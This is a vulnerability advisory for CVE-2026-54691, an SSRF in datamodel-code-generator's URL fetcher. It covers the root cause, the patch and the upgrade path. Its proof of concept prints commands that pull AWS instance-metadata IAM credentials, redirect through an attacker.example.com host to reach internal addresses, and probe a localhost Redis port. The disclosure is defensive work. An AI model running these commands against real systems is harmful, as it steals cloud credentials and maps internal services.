CVE-2026-54691: datamodel-code-generator SSRF via --url
datamodel-code-generator fetches any URL you give it with no IP validation and redirect-following on, letting attackers trick it into hitting internal services or cloud metadata endpoints and leaking…

The problem
The built-in HTTP fetcher in datamodel-code-generator (the [http] extra) calls httpx.get() with follow_redirects=True and no allow-list, deny-list, or IP validation. Any address reachable from the machine running the tool is fair game: loopback, RFC 1918, link-local (169.254.169.254), unique-local IPv6, etc.
The only guard in the vulnerable code is a content-type check that rejects text/html. Every non-HTML internal endpoint, including JSON APIs, admin surfaces, and AWS/GCP/Azure IMDS endpoints, passes through. The response body is then parsed as a schema, and its title, description, and properties fields land in the generated .py file as class names, docstrings, and Field(description=...) strings, exfiltrating the data to anyone who reads or commits that file.
Proof of concept
A working proof-of-concept for CVE-2026-54691 in datamodel-code-generator, with the exact payload below.
# Direct hit against AWS instance metadata
datamodel-codegen --url http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role --output model.py
# Via open-redirect chain (attacker controls attacker.example.com)
# attacker.example.com returns: HTTP 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role
datamodel-codegen --url https://attacker.example.com/redirect --output model.py
# Localhost port probe (non-HTML 200 response confirms service and leaks body)
datamodel-codegen --url http://127.0.0.1:6379/ --output model.pyThe root cause is the complete absence of pre-request and pre-redirect host validation in src/datamodel_code_generator/http.py. With follow_redirects=True, an attacker-controlled public URL redirecting to an internal address bypasses any firewall rule that only filters outbound traffic to private ranges at the DNS/connection level.
The patch (commit 5fdba4a) resolves the target hostname to an IP before each request, checks it against blocked ranges (loopback, private, link-local, reserved, multicast), and sets follow_redirects=False, re-running the same check on every 3xx hop. It also adds --allow-private-network as an explicit opt-in for operators who legitimately need to fetch internal schemas.
CWE-918 (Server-Side Request Forgery) applies directly.
The fix
Upgrade to datamodel-code-generator 0.61.0 or later (pip install 'datamodel-code-generator[http]>=0.61.0'). The patched release validates and blocks non-public IP targets before every request and redirect hop. If you must fetch schemas from internal hosts, pass --allow-private-network explicitly and ensure the source is trusted.
Reported by Hamza Haroon (thegr1ffyn).
Related research
- high · 7.5CVE-2026-55391CVE-2026-55391: datamodel-code-generator SSRF Protection Bypass via DNS Rebinding
- high · 8.2CVE-2026-54690CVE-2026-54690: datamodel-code-generator SSRF via JSON Schema $ref HTTP URL
- high · 7.8CVE-2026-54654CVE-2026-54654: datamodel-code-generator Code Injection via Carriage Return in --extra-template-data comment
- high · 7.8CVE-2026-54655CVE-2026-54655: datamodel-code-generator Code Injection via x-python-type